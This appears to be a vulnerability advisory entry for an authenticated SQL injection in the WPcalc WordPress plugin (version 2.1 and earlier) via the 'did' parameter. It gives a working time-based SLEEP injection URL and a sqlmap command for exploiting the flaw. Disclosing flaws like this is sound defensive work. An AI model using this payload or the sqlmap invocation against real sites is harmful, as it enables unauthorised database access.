WPcalc <= 2.1 - Authenticated SQL Injection

2021-12-0600:00:00

wpvulndb

wpcalc

authenticated

sql injection

sqlmap

tool

mysql

EPSS

0.001

Percentile

37.7%

JSON

The plugin does not sanitize user input into the ‘did’ parameter and uses it in a SQL statement, leading to an authenticated SQL Injection vulnerability. Plugin author closed the plugin.

http://www.example.com/wp-admin/admin.php?page=wpcalc&info=del&did=1 AND (SELECT 7156 FROM (SELECT(SLEEP(5)))MIkl)

or, using the sqlmap tool:

./sqlmap.py -r request.txt -dbms=mysql --current-user -b -p did --batch --flush-session

EPSS

0.001

Percentile

37.7%

JSON

Related for WPEX-ID:200969EB-E2A4-4200-82D7-0C313DE089AF